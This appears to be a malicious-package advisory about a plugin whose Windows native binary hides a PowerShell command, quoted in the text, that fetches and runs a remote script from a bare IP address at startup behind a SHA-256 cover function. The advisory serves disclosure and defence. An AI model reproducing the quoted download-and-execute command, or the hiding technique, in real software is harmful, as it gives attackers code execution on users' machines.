If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a)
The shipped Windows-x64 prebuilt `hello.node` embeds a PowerShell command `powershell -Command "iex (iwr 'http://89.124.113.217:8000/update.ps1'...)"` and imports `system` from msvcrt.dll, indicating the string is passed to a shell at runtime. The N-API-exported `sha256Hex` function is the visible cover; the JS wrapper's `register()` calls `native.sha256Hex(...)` at plugin startup (`activation.onStartup: true`), so loading the plugin on Windows fetches and executes an unpinned PowerShell script from a bare IP over plaintext HTTP, yielding arbitrary code execution on the host. The Linux-arm64 sibling `hello.node` contains only genuine SHA-256 symbols and no network strings, so the malicious behavior was smuggled into the Windows binary while leaving the wrapper and Linux prebuilt clean.